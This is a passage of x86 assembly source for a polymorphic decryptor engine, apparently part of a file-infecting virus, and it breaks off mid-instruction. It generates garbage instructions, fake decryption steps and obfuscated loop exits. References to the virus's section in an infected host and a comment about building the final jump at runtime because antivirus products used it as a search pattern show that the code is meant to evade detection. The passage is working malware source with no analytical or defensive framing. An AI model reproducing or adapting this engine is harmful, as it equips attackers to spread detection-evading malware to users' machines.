IdxDownADDSUB: call save_it_ADD push eax mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx sub eax,edx neg eax stosd mov eax,edx ret IdxDownSUBSUB: call save_it_SUB push eax mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx add eax,edx neg eax stosd mov eax,edx ret IdxDownSUBADD: call save_it_SUB push eax mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx add eax,edx neg eax stosd mov eax,edx ret save_it_ADD: call total_save_it push edx mov al,03h stosw xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY call GenGarbageEx pop eax ret save_it_SUB: call total_save_it push edx mov al,2Bh stosw xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY call GenGarbageEx pop eax ret total_save_it: call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 stosd push eax push ebx call GenGarbageEx pop ebx mov ah,byte ptr [ebp+index_mask] shl ah,03h or ah,byte ptr [ebx+REG_MASK] or ah,0C0h pop edx ret ;============================================================================ ;Generate decryptor action: Next counter value ;============================================================================ ;============================================================ ;Check counter direction and update counter ;using a INC or DEC instruction ;============================================================ gen_next_ctr: test byte ptr [ebp+build_flags],CRYPT_CDIR jnz upd_ctr_down upd_ctr_up: call get_rnd32 and al,01h jz CountUpINC mov al,40h jmp DoShitWithCtr CountUpINC: mov al,40h or al,byte ptr [ebp+counter_mask] jmp short upd_ctr_ok upd_ctr_down: call get_rnd32 and al,01h jz CountUpDEC mov al,48h jmp DoShitWithCtr CountUpDEC: mov al,48h or al,byte ptr [ebp+counter_mask] upd_ctr_ok: stosb ret DoShitWithCtr: push eax call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [ebp+counter_mask] or ah,0C0h mov al,8Bh stosw push ebx call GenGarbageEx pop ebx pop eax or al,byte ptr [ebx+REG_MASK] stosb push ebx call GenGarbageEx pop ebx mov ah,byte ptr [ebp+counter_mask] shl ah,03h or ah,byte ptr [ebx+REG_MASK] or ah,0C0h mov al,8Bh stosw xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ret ;============================================================================ ;Generate decryptor action: Loop ;============================================================================ ;============================================================ ;Use counter reg in CMP instruction? ;============================================================ gen_loop: test byte ptr [ebp+build_flags],CRYPT_CMPCTR jnz doloopauxreg ;============================================================ ;Generate CMP counter_reg,end_value ;============================================================ mov ax,0F881h or ah,byte ptr [ebp+counter_mask] stosw mov eax,dword ptr [ebp+end_value] stosd jmp doloopready ;============================================================ ;Get a random valid register to use in a CMP instruction ;============================================================ doloopauxreg: call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;============================================================ ;Move index reg value into aux reg ;============================================================ mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [ebp+counter_mask] or ah,0C0h mov al,8Bh stosw ;============================================================ ;Guess what!? ;============================================================ push ebx call GenGarbageEx pop ebx call get_rnd32 and al,03h or al,al jz loop_use_cmp test al,02h jz loop_use_sub ;============================================================ ;Generate ADD aux_reg,-end_value ;============================================================ loop_use_add: mov ax,0C081h or ah,byte ptr [ebx+REG_MASK] stosw mov eax,dword ptr [ebp+end_value] neg eax stosd jmp short done_loop_use ;============================================================ ;Generate CMP aux_reg,end_value ;============================================================ loop_use_cmp: mov ax,0F881h jmp short loop_mask_here ;============================================================ ;Generate SUB aux_reg,end_value ;============================================================ loop_use_sub: mov eax,0E881h loop_mask_here: or ah,byte ptr [ebx+REG_MASK] stosw mov eax,dword ptr [ebp+end_value] stosd ;============================================================ ;Restore aux reg state ;============================================================ done_loop_use: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;============================================================ ;Generate conditional jump ;============================================================ doloopready: mov eax,NumExitLoop call get_rnd_range lea esi,dword ptr [ebp+TblExitLoop+eax*04h] lodsd add eax,ebp jmp eax TblExitLoop equ $ dd offset doloopup dd offset doloopdown dd offset doloopmix NumExitLoop equ ($-TblExitLoop)/04h ;============================================================ ;Generate the following structure: ; ; loop_point: ; ... ; jnz loop_point ; ... ; jmp decrypted-code ;============================================================ doloopup: mov dword ptr [ebp+condition_ptr],edi mov ax,850Fh stosw mov eax,dword ptr [ebp+loop_point] sub eax,edi sub eax,00000004h stosd call GenGarbageEx mov esi,dword ptr [ebp+PtrToEP] call DoComplexCmp jmp CreateFog ;============================================================ ;...or this one: ; ; loop_point: ; ... ; jz decrypted-code ; ... ; jmp loop_point ; ... ;============================================================ doloopdown: mov dword ptr [ebp+condition_ptr],edi mov ax,840Fh stosw mov eax,dword ptr [ebp+PtrToEP] sub eax,edi sub eax,00000004h stosd call GenGarbageEx mov esi,dword ptr [ebp+loop_point] call DoComplexCmp jmp CreateFog ;============================================================ ;Generate the following structure: ; ; loop_point: ; ... ; jnz auxdest ; ... ; jmp decrypted-code ; ... ; auxdest: ; ... ; jmp loop_point ;============================================================ doloopmix: mov dword ptr [ebp+condition_ptr],edi mov ax,850Fh stosw push edi stosd call GenGarbageEx mov esi,dword ptr [ebp+PtrToEP] call DoComplexCmp call GenGarbageEx pop edx mov eax,edi sub eax,00000004h sub eax,edx mov dword ptr [edx],eax call GenGarbageEx mov esi,dword ptr [ebp+loop_point] call DoComplexCmp ;============================================================ ;I notice some AV was using the JZ/JNZ instruction at the ;end of the decryptor in a search pattern... So now im going ;to build it at runtime (sometimes...) ;============================================================ CreateFog: test byte ptr [ebp+build_flags],CRYPT_FOG jz NoFogRet mov eax,NumFog call get_rnd_range lea esi,dword ptr [ebp+TblDoFog+eax*04h] lodsd add eax,ebp call eax mov eax,NumFixFog call get_rnd_range lea esi,dword ptr [ebp+TblFixFog+eax*04h] lodsd mov esi,dword ptr [ebp+condition_ptr] add eax,ebp call eax NoFogRet: ret ;============================================================================ ;Prepare pointer to memory into fog block, using ADD ;============================================================================ DoFogAdd: call FogStart sub eax,dword ptr [ebp+Xrnd1] push edi push eax mov ebx,dword ptr [ebp+XrndReg] mov edi,dword ptr [ebp+XrndFixPtr] mov ax,0C081h or ah,byte ptr [ebx+REG_MASK] stosw pop eax stosd pop edi ret FixFogAdd: push edi mov edi,dword ptr [ebp+XrndMath] mov al,81h mov ah,byte ptr [ebx+REG_MASK] stosw call get_rnd32 stosd sub dword ptr [esi],eax pop edi ret ;============================================================================ ;Prepare pointer to memory into fog block, using SUB ;============================================================================ DoFogSub: call FogStart neg eax add eax,dword ptr [ebp+Xrnd1] push edi push eax mov ebx,dword ptr [ebp+XrndReg] mov edi,dword ptr [ebp+XrndFixPtr] mov ax,0E881h or ah,byte ptr [ebx+REG_MASK] stosw pop eax stosd pop edi ret FixFogSub: push edi mov edi,dword ptr [ebp+XrndMath] mov ax,2881h or ah,byte ptr [ebx+REG_MASK] stosw call get_rnd32 stosd add dword ptr [esi],eax pop edi ret ;============================================================================ ;Prepare pointer to memory into fog block, using XOR ;============================================================================ DoFogXor: call FogStart xor eax,dword ptr [ebp+Xrnd1] push edi push eax mov ebx,dword ptr [ebp+XrndReg] mov edi,dword ptr [ebp+XrndFixPtr] mov ax,0F081h or ah,byte ptr [ebx+REG_MASK] stosw pop eax stosd pop edi ret FixFogXor: push edi mov edi,dword ptr [ebp+XrndMath] mov ax,3081h or ah,byte ptr [ebx+REG_MASK] stosw call get_rnd32 stosd xor dword ptr [esi],eax pop edi ret ;============================================================================ ;Setup fog block ;============================================================================ FogStart: mov esi,dword ptr [ebp+condition_ptr] mov eax,esi call FromPoly2Rva ret ;============================================================================ ;Convert a given value in the poly decryptor to its future RVA ; ;On entry: ; eax -> Value to convert ;On exit: ; eax -> Converted value ;============================================================================ FromPoly2Rva: push edx sub eax,dword ptr [ebp+map_is_here] add eax,dword ptr [ebp+host_base] mov edx,dword ptr [ebp+virus_sh] sub eax,dword ptr [edx+SH_PointerToRawData] add eax,dword ptr [edx+SH_VirtualAddress] pop edx ret ;============================================================================ ;Produce complex end determination ; ;On entry: ; esi -> PtrToEP or loop_point ;============================================================================ DoComplexCmp: call get_rnd32 and al,01h jz JmpEndJmpReg ;============================================================ ;Go using JMP imm ;============================================================ JmpEndJmpImm: mov al,0E9h stosb mov eax,esi sub eax,edi sub eax,00000004h stosd ret ;============================================================ ;Go using complex escheme ;============================================================ JmpEndJmpReg: push esi call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 stosd push eax push ebx call GenGarbageEx mov eax,NumJmpEnd call get_rnd_range lea esi,dword ptr [ebp+tbl_jmp_end+eax*04h] lodsd add eax,ebp pop ebx pop edx pop esi call eax push ebx call GenGarbageEx pop ebx call get_rnd32 and al,01h jz EndUseJmpReg EndUsePushRet: mov al,50h or al,byte ptr [ebx+REG_MASK] stosb xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY call GenGarbageEx call gen_ret ret EndUseJmpReg: mov ax,0E0FFh or ah,byte ptr [ebx+REG_MASK] stosw xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ret ;============================================================================ ;Complex end using ADD ;============================================================================ jmpendregadd: mov ax,0C081h or ah,byte ptr [ebx+REG_MASK] stosw call ExtendedEnd sub eax,edx stosd ret ;============================================================================ ;Complex end using SUB ;============================================================================ jmpendregsub: mov ax,0E881h or ah,byte ptr [ebx+REG_MASK] stosw call ExtendedEnd sub eax,edx neg eax stosd ret ;============================================================================ ;Complex end using XOR ;============================================================================ jmpendregxor: mov ax,0F081h or ah,byte ptr [ebx+REG_MASK] stosw call ExtendedEnd xor eax,edx stosd ret ;============================================================================ ;Complex fixed address ;============================================================================ ExtendedEnd: mov eax,esi call FromPoly2Rva ret ;============================================================================ ;Generate init garbage ;============================================================================ GenInitGarbage: mov eax,00000005h call get_rnd_range or eax,eax jz ExitInitGarbage mov ecx,eax loop_g_i_g: push ecx mov eax,(end_i_g-tbl_i_g)/04h call get_rnd_range lea esi,dword ptr [ebp+tbl_i_g+eax*04h] lodsd add eax,ebp call eax pop ecx loop loop_g_i_g ExitInitGarbage:ret ;============================================================================ ;Generate some garbage code ;============================================================================ GenGarbageEx: mov eax,00000004h jmp short GoDirectToHell gen_garbage: mov eax,00000002h GoDirectToHell: push ecx push esi inc byte ptr [ebp+recursive_level] call get_rnd_range inc eax inc eax mov ecx,eax loop_garbage: push ecx mov eax,(end_garbage-tbl_garbage)/04h cmp byte ptr [ebp+recursive_level],06h jae too_much_shit cmp byte ptr [ebp+recursive_level],02h jb ok_gen_num mov eax,(save_space-tbl_garbage)/04h ok_gen_num: call get_rnd_range lea esi,dword ptr [ebp+tbl_garbage+eax*04h] lodsd add eax,ebp call eax too_much_shit: pop ecx loop loop_garbage ;============================================================ ;Update recursive level ;============================================================ exit_gg: dec byte ptr [ebp+recursive_level] pop esi pop ecx ret ;============================================================================ ;Generate MOV reg,imm ;============================================================================ ;============================================================ ;Generate MOV reg32,imm ;============================================================ g_movreg32imm: call get_valid_reg mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 stosd ret ;============================================================ ;Generate MOV reg16,imm ;============================================================ g_movreg16imm: call get_valid_reg mov ax,0B866h or ah,byte ptr [ebx+REG_MASK] stosw call get_rnd32 stosw ret ;============================================================ ;Generate MOV reg8,imm ;============================================================ g_movreg8imm: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movreg8imm call get_rnd32 mov al,0B0h or al,byte ptr [ebx+REG_MASK] push eax call get_rnd32 pop edx and ax,0004h or ax,dx stosw a_movreg8imm: ret ;============================================================================ ;Generate mov reg,reg ;============================================================================ g_movregreg32: call get_rnd_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 c_movregreg32: mov al,8Bh h_movregreg32: mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [edx+REG_MASK] or ah,0C0h stosw a_movregreg32: ret g_movregreg16: call get_rnd_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 mov al,66h stosb jmp short c_movregreg32 g_movregreg8: call get_rnd_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 push ebx call get_valid_reg pop edx mov al,8Ah h_movregreg8: test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 cmp ebx,edx je a_movregreg8 mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [edx+REG_MASK] or ah,0C0h push eax call get_rnd32 pop edx and ax,2400h or ax,dx stosw a_movregreg8: ret ;============================================================================ ;Generate xchg reg,reg ;============================================================================ g_xchgregreg32: call get_valid_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 h_xchgregreg32: mov al,87h jmp h_movregreg32 g_xchgregreg16: call get_valid_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 mov al,66h stosb jmp short h_xchgregreg32 g_xchgregreg8: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 push ebx call get_valid_reg pop edx mov al,86h jmp h_movregreg8 ;============================================================================ ;Generate MOVZX/MOVSX reg32,reg16 ;============================================================================ g_movzx_movsx: call get_rnd32 mov ah,0B7h and al,01h jz d_movzx mov ah,0BFh d_movzx: mov al,0Fh stosw call get_rnd_reg push ebx call get_valid_reg pop edx mov al,byte ptr [ebx+REG_MASK] shl al,03h or al,0C0h or al,byte ptr [edx+REG_MASK] stosb ret ;============================================================================ ;Generate INC reg ;============================================================================ g_inc_reg32: call get_valid_reg mov al,40h or al,byte ptr [ebx+REG_MASK] stosb ret g_inc_reg16: mov al,66h stosb jmp short g_inc_reg32 g_inc_reg8: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_inc_reg8 call get_rnd32 and ah,04h or ah,byte ptr [ebx+REG_MASK] or ah,0C0h mov al,0FEh stosw a_inc_reg8: ret ;============================================================================ ;Generate DEC reg ;============================================================================ g_dec_reg32: call get_valid_reg mov al,48h or al,byte ptr [ebx+REG_MASK] stosb ret g_dec_reg16: mov al,66h stosb jmp short g_dec_reg32 g_dec_reg8: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_dec_reg8 call get_rnd32 and ah,04h or ah,byte ptr [ebx+REG_MASK] or ah,0C8h mov al,0FEh stosw a_dec_reg8: ret ;============================================================================ ;Generate ADD/SUB/XOR/OR/AND reg,imm ;============================================================================ g_mathregimm32: mov al,81h stosb call get_valid_reg call do_math_work stosd ret g_mathregimm16: mov ax,8166h stosw call get_valid_reg call do_math_work stosw ret g_mathregimm8: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_math8 mov al,80h stosb call do_math_work stosb and ah,04h or byte ptr [edi-00000002h],ah a_math8: ret do_math_work: mov eax,end_math_imm-tbl_math_imm call get_rnd_range lea esi,dword ptr [ebp+eax+tbl_math_imm] lodsb or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 ret ;============================================================================ ;Generate decryption instructions (real or fake ones) ;============================================================================ ;============================================================ ;Check if we are going to use a displacement in the ;indexing mode ;============================================================ fake_or_not: mov eax,dword ptr [ebp+fake_ptr_disp] or eax,eax jnz more_complex ;============================================================ ;Choose generator for [reg] indexing mode ;============================================================ mov edx,offset tbl_idx_reg call choose_magic jmp you_got_it ;============================================================ ;More fun?!?! ;============================================================ more_complex: mov al,byte ptr [ebp+fake_build_flags] test al,CRYPT_SIMPLEX jnz crypt_xtended ;============================================================ ;Choose generator for [reg+imm] indexing mode ;============================================================ mov edx,offset tbl_dis_reg call choose_magic ;============================================================ ;Use magic to convert some values into ;desired instructions ;============================================================ you_got_it: call size_correct mov dl,byte ptr [ebp+fake_index_mask] lodsb or al,al jnz adn_reg_01 cmp dl,00000101b je adn_reg_02 adn_reg_01: lodsb or al,dl stosb jmp common_part adn_reg_02: lodsb add al,45h xor ah,ah stosw jmp common_part ;============================================================ ;Choose [reg+reg] or [reg+reg+disp] ;============================================================ crypt_xtended: xor eax,eax mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp test al,CRYPT_COMPLEX jz ok_complex ;============================================================ ;Get random displacement from current displacement ;eeehh?!? ;============================================================ mov eax,00001000h call get_rnd_range mov dword ptr [ebp+disp2disp],eax call load_aux push ebx call GenGarbageEx ;============================================================ ;Choose generator for [reg+reg+imm] indexing mode ;============================================================ mov edx,offset tbl_paranoia call choose_magic jmp short done_xtended ok_complex: mov eax,dword ptr [ebp+fake_ptr_disp] call load_aux push ebx call GenGarbageEx ;============================================================ ;Choose generator for [reg+reg] indexing mode ;============================================================ mov edx,offset tbl_xtended call choose_magic ;============================================================ ;Build decryptor instructions ;============================================================ done_xtended: call size_correct pop ebx mov dl,byte ptr [ebp+fake_index_mask] lodsb mov cl,al or al,al jnz arn_reg_01 cmp dl,00000101b jne arn_reg_01 lodsb add al,40h stosb jmp short arn_reg_02 arn_reg_01: movsb arn_reg_02: mov al,byte ptr [ebx+REG_MASK] shl al,03h or al,dl stosb or cl,cl jnz arn_reg_03 cmp dl,00000101b jne arn_reg_03 xor al,al stosb ;============================================================ ;Restore aux reg state ;============================================================ arn_reg_03: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;============================================================ ;Get post-build flags ;============================================================ common_part: lodsb ;============================================================ ;Insert displacement from real address? ;============================================================ test al,MAGIC_PUTDISP jz skip_disp push eax mov eax,dword ptr [ebp+fake_ptr_disp] sub eax,dword ptr [ebp+disp2disp] neg eax stosd pop eax ;============================================================ ;Insert key? ;============================================================ skip_disp: test al,MAGIC_PUTKEY jz skip_key call copy_key skip_key: ret ;============================================================================ ;Choose a magic generator ;============================================================================ choose_magic: mov eax,00000006h call get_rnd_range add edx,ebp lea esi,dword ptr [edx+eax*04h] lodsd add eax,ebp mov esi,eax ret ;============================================================================ ;Do operand size correction ;============================================================================ size_correct: lodsb mov ah,byte ptr [ebp+fake_oper_size] cmp ah,01h je store_correct inc al cmp ah,04h je store_correct mov ah,66h xchg ah,al stosw ret store_correct: stosb ret ;============================================================================ ;Load aux reg with displacement ;============================================================================ ;============================================================ ;Get a valid auxiliary register ;============================================================ load_aux: push eax call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;============================================================ ;Move displacement into aux reg ;============================================================ mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb pop eax neg eax stosd ret ;============================================================================ ;Generate push reg + garbage + pop reg ;============================================================================ g_push_g_pop: call gen_garbage call get_rnd32 test al,01h jnz skip_sp_push call push_with_sp jmp short from_push skip_sp_push: call get_rnd_reg mov al,50h or al,byte ptr [ebx+REG_MASK] stosb call gen_garbage from_push: call get_rnd32 test al,01h jz pop_with_sp call get_valid_reg mov al,58h or al,byte ptr [ebx+REG_MASK] stosb call gen_garbage ret ;============================================================================ ;Emulate a PUSH instruction, using SUB ESP,00000004h ;============================================================================ push_with_sp: mov eax,0004EC83h stosd dec edi call GenGarbageEx ret ;============================================================================ ;Emulate a POP instruction, using ADD ESP,00000004h ;============================================================================ pop_with_sp: mov eax,0004C483h stosd dec edi call GenGarbageEx ret ;============================================================================ ;Generate RET in different ways ;============================================================================ gen_ret: call get_rnd32 and al,01h jnz just_ret call get_valid_reg mov al,58h or al,byte ptr [ebx+REG_MASK] stosb or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY push ebx call GenGarbageEx pop ebx xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov ax,0E0FFh or ah,byte ptr [ebx+REG_MASK] stosw ret just_ret: mov al,0C3h stosb ret ;============================================================================ ;Generate CALL without return ;============================================================================ g_call_cont: mov al,0E8h stosb push edi stosd call gen_rnd_block pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax call GenGarbageEx call get_rnd32 test al,01h jz pop_with_sp call get_valid_reg mov al,58h or al,byte ptr [ebx+REG_MASK] stosb call gen_garbage ret ;============================================================================ ;Generate unconditional jumps ;============================================================================ g_jump_u: mov al,0E9h stosb push edi stosd call gen_rnd_block pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax call GenGarbageEx ret g_save_jump: mov al,0E9h stosb push edi stosd call gen_rnd_block pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax ret ;============================================================================ ;Generate conditional jumps ;============================================================================ g_jump_c: call get_rnd32 and ah,0Fh add ah,80h mov al,0Fh stosw push edi stosd call GenGarbageEx pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax call GenGarbageEx ret g_save_jump_c: call get_rnd32 and ah,0Fh add ah,80h mov al,0Fh stosw xor eax,eax stosd ret ;============================================================================ ;Generate MOV [mem],reg ;============================================================================ gen_mov_mem8: mov dl,88h jmp mem8wr gen_mov_mem16: mov al,66h stosb gen_mov_mem32: mov dl,89h jmp gen_mem_wr gen_add_mem8: mov dl,00h jmp mem8wr gen_add_mem16: mov al,66h stosb gen_add_mem32: mov dl,01h jmp gen_mem_wr gen_sub_mem8: mov dl,28h jmp mem8wr gen_sub_mem16: mov al,66h stosb gen_sub_mem32: mov dl,29h jmp gen_mem_wr gen_adc_mem8: mov dl,10h jmp mem8wr gen_adc_mem16: mov al,66h stosb gen_adc_mem32: mov dl,11h jmp gen_mem_wr gen_sbb_mem8: mov dl,18h jmp mem8wr gen_sbb_mem16: mov al,66h stosb gen_sbb_mem32: mov dl,19h jmp gen_mem_wr gen_or_mem8: mov dl,08h jmp mem8wr gen_or_mem16: mov al,66h stosb gen_or_mem32: mov dl,09h jmp gen_mem_wr gen_and_mem8: mov dl,20h jmp mem8wr gen_and_mem16: mov al,66h stosb gen_and_mem32: mov dl,21h jmp gen_mem_wr gen_xor_mem8: mov dl,30h jmp mem8wr gen_xor_mem16: mov al,66h stosb gen_xor_mem32: mov dl,31h jmp gen_mem_wr mem8wr: call gen_mem_wr call get_rnd32 and al,20h or byte ptr [edi-00000005h],al ret gen_mem_wr: call get_rnd_reg mov ah,byte ptr [ebx+REG_MASK] or ah,ah jnz skip_wr_eax cmp dl,88h je gen_mem_wr cmp dl,89h je gen_mem_wr skip_wr_eax: shl ah,03h or ah,05h mov al,dl stosw movzx eax,byte ptr [ebp+NumberOfDataAreas] call get_rnd_range lea esi,dword ptr [ebp+tbl_data_area+eax*08h] lodsd push eax lodsd sub eax,00000004h call get_rnd_range pop edx add eax,edx stosd ret ;============================================================================ ;Generate clc/stc/cmc/cld/std ;============================================================================ gen_save_code: mov eax,end_save_code-tbl_save_code call get_rnd_range mov al,byte ptr [ebp+tbl_save_code+eax] stosb ret ;============================================================================ ;Generate fake decrypt instructions ;============================================================================ gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h jae bad_fake_size cmp byte ptr [ebp+NumberOfDataAreas],02h jb bad_fake_size push dword ptr [ebp+fake_ptr_disp] push dword ptr [ebp+fake_crypt_key] mov dl,byte ptr [ebp+fake_build_flags] mov dh,byte ptr [ebp+fake_index_mask] shl edx,08h mov dl,byte ptr [ebp+fake_oper_size] push edx call get_rnd32 ;Get encryption key mov dword ptr [ebp+fake_crypt_key],eax call get_rnd32 ;Get generation flags mov byte ptr [ebp+fake_build_flags],al call get_rnd32 ;Get size of mem operand and al,03h cmp al,01h je ok_fake_size cmp al,02h je ok_fake_size inc al ok_fake_size: mov byte ptr [ebp+fake_oper_size],al call get_rnd32 ;Choose displacement and eax,00000001h jz ok_fake_disp call get_rnd32 call get_rnd_range inc eax neg eax ok_fake_disp: mov dword ptr [ebp+fake_ptr_disp],eax movzx eax,byte ptr [ebp+NumberOfDataAreas] call get_rnd_range lea esi,dword ptr [ebp+tbl_data_area+eax*08h] lodsd add eax,dword ptr [ebp+fake_ptr_disp] push eax lodsd sub eax,00000004h call get_rnd_range pop edx add eax,edx push eax call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX mov al,byte ptr [ebx+REG_MASK] mov byte ptr [ebp+fake_index_mask],al or al,0B8h stosb pop eax stosd push ebx call GenGarbageEx ;Garbage call fake_or_not call GenGarbageEx ;Garbage pop ebx xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX pop eax mov byte ptr [ebp+fake_oper_size],al shr eax,08h mov byte ptr [ebp+fake_index_mask],ah mov byte ptr [ebp+fake_build_flags],al pop dword ptr [ebp+fake_crypt_key] pop dword ptr [ebp+fake_ptr_disp] bad_fake_size: ret ;============================================================================ ;Get a ramdom reg ;============================================================================ get_rnd_reg: mov eax,00000007h call get_rnd_range lea ebx,dword ptr [ebp+tbl_regs+eax*02h] ret ;============================================================================ ;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX) ;============================================================================ get_valid_reg: call get_rnd_reg mov al,byte ptr [ebx+REG_FLAGS] and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY jnz get_valid_reg ret ;============================================================================ ;Load ecx with crypt_size / oper_size ;============================================================================ fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt] xor ecx,ecx mov cl,byte ptr [ebp+oper_size] shr ecx,01h or ecx,ecx jz ok_2ecx shr eax,cl jnc ok_2ecx inc eax ok_2ecx: mov ecx,eax ret ;============================================================================ ;Generate polymorphic decryptor... Whats new on this poly engine? ; ;On entry: ; esi -> Pointer to code ; edi -> Where to generate polymorphic decryptor ; ecx -> Size of area to encrypt ; edx -> Entry point to code once decrypted ;On exit: ; ecx -> Decryptor size ; edi -> End of decryptor ; ;============================================================================ Mutate: push ebx ;Save base address add edx,ebx mov dword ptr [ebp+PtrToEP],edx ;Save ptr to entry-point mov dword ptr [ebp+PtrToCrypt],esi ;Save crypt offset mov dword ptr [ebp+PtrToDecrypt],edi mov dword ptr [ebp+SizeCrypt],ecx ;Save size of block lea esi,dword ptr [ebp+tbl_startup] lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS] mov ecx,00000007h loop_init_regs: lodsb stosb inc edi loop loop_init_regs xor eax,eax mov byte ptr [ebp+NumberOfDataAreas],al ;Clear # of data area mov byte ptr [ebp+recursive_level],al ;Clear recursive mov ecx,NUM_DA lea edi,dword ptr [ebp+tbl_data_area] ;Init data areas loop_init_da: stosd stosd loop loop_init_da call get_valid_reg mov al,byte ptr [ebx+REG_MASK] mov byte ptr [ebp+index_mask],al or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX xor eax,eax mov ecx,00000005h lea edi,dword ptr [ebp+style_table+00000004h] clear_style: stosd add edi,00000004h loop clear_style call get_valid_reg mov al,byte ptr [ebx+REG_MASK] mov byte ptr [ebp+counter_mask],al or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER call get_rnd32 and eax,00000001h jz ok_disp call get_rnd32 ok_disp: mov dword ptr [ebp+ptr_disp],eax call get_rnd32 mov dword ptr [ebp+crypt_key],eax call get_rnd32 mov byte ptr [ebp+build_flags],al call get_rnd32 and al,03h cmp al,01h je get_size_ok cmp al,02h je get_size_ok inc al get_size_ok: mov byte ptr [ebp+oper_size],al mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor call gen_rnd_block ;Random data block mov ecx,00000005h ;Generate 5 routines do_subroutine: push ecx routine_done: mov eax,00000005h ;Random step call get_rnd_range lea esi,dword ptr [ebp+style_table+eax*08h] xor edx,edx ;Already generated? cmp dword ptr [esi+00000004h],edx jne routine_done push edi ;Generate routine call GenGarbageEx lodsd pop dword ptr [esi] add eax,ebp call eax call GenGarbageEx call gen_ret call gen_rnd_block pop ecx ;Generate next subroutine loop do_subroutine mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point ;============================================================ ;If this is the 1st decryptor we need to save ;some regs ;============================================================ cmp byte ptr [ebp+IsFirst],00h je SkipSaveRegs mov al,REG_READ_ONLY or byte ptr [ebp+tbl_reg_ebx+01h],al or byte ptr [ebp+tbl_reg_esi+01h],al or byte ptr [ebp+tbl_reg_edi+01h],al or byte ptr [ebp+tbl_reg_ebp+01h],al mov byte ptr [ebp+recursive_level],04h mov ecx,00000004h lea esi,dword ptr [ebp+PshPStepIndex] DoRestorePush: push ecx push esi call GenInitGarbage pop esi lodsd lea edx,dword ptr [ebp+eax+TblDoPush] mov al,byte ptr [edx] stosb mov dl,not REG_READ_ONLY TryToFixEBX: cmp al,053h jne TryToFixESI and byte ptr [ebp+tbl_reg_ebx+01h],dl jmp ShitIsFixed TryToFixESI: cmp al,056h jne TryToFixEDI and byte ptr [ebp+tbl_reg_esi+01h],dl jmp ShitIsFixed TryToFixEDI: cmp al,057h jne TryToFixEBP and byte ptr [ebp+tbl_reg_edi+01h],dl jmp ShitIsFixed TryToFixEBP: cmp al,055h jne ShitIsFixed and byte ptr [ebp+tbl_reg_ebp+01h],dl ShitIsFixed: pop ecx loop DoRestorePush mov byte ptr [ebp+recursive_level],00h and byte ptr [ebp+tbl_reg_ebx+01h],dl and byte ptr [ebp+tbl_reg_esi+01h],dl and byte ptr [ebp+tbl_reg_edi+01h],dl and byte ptr [ebp+tbl_reg_ebp+01h],dl ;============================================================ ;Build the JZ/JNZ instruction (at the end of the decryptor ;loop) at runtime ;============================================================ SkipSaveRegs: call GenGarbageEx test byte ptr [ebp+build_flags],CRYPT_FOG jz NoEndFog FuckFogEBP: call get_valid_reg cmp byte ptr [ebx+REG_MASK],00000101b je FuckFogEBP or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov dword ptr [ebp+XrndReg],ebx push ebx mov al,byte ptr [ebx+REG_MASK] or al,0B8h stosb call get_rnd32 stosd mov dword ptr [ebp+Xrnd1],eax call GenGarbageEx mov dword ptr [ebp+XrndFixPtr],edi add edi,00000006h call gen_garbage mov dword ptr 